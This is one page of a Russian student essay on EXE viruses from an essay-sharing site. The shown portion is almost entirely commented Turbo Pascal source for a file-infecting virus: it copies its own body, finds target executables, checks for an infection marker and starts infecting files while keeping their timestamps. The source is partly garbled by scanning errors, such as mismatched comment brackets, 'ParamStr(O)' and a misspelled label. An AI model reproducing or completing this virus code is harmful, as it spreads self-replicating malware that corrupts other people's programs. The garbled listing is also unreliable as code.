Exe-вирусы
Категория реферата: Рефераты по информатике, программированию
Теги реферата: информация реферат, курсовая работа по дисциплине
Добавил(а) на сайт: Volgin.
Предыдущая страница реферата | 1 2 3 4 5 6 7 8 9 10 11 | Следующая страница реферата
LabelBuf[5]:=VirLabel[5];
(Обнуляем счетчик количества инфицированных файлов}
lnfFiles:=0;
(Связываем файловую переменную VirBody с именем программы.
из которой стартовали)
Assign(VirBody, ParamStr(O));
(Открываем файл с recsize=1 байту)
Reset(VirBody, 1);
(Считываем из файла тело вируса в массив VirBuf}
BlockRead(VirBody VirBuf, VirLen);
(Закрываем файл)
Close(VirBody);
end;
(Поиск жертвы}
procedure FindTarget;
Var
Sr: SearchRec;
(Функция возвращает True, если найденная
программа уже заражена, и False, если еще нет}
function VirusPresent: Boolean;
begin
(Пока будем считать, что вируса нет}
VirusPresent:=False;
(Открываем найденный файл}
Assign(Target, TargetFile);
Reset(Target, 1);
(Перемещаемся на длину тела вируса от начала файла}
Seek(Target, VirLen);
(Считываем 5 байт - если файл уже заражен,
там находится метка вируса}
BlockRead(Target, Virldentifier, 5);
If Virldentifier=Virl_abel Then
{Если метка есть, значит есть и вирус}
VirusPresent:=True;
end;
(Процедура заражения}
procedure InfectFile;
begin
{Если размер найденного файла меньше, чем длина вируса
плюс 100 байт, то выходим из процедуры}
If Sr.Size < VirLen+100 Then Exit;
{Если найденная программа еще не заражена, инфицируем ее}
If Not VirusPresent Then
begin
{Запомним дату и время файла. Атрибуты запоминать не надо,
так как поиск ведется среди файлов с атрибутом Archive, а этот
атрибут устанавливается на файл после сохранения в любом случае}
Time:=Sr.Time;
Рекомендуем скачать другие рефераты по теме: сочинение рассказ, преступление реферат.
Предыдущая страница реферата | 1 2 3 4 5 6 7 8 9 10 11 | Следующая страница реферата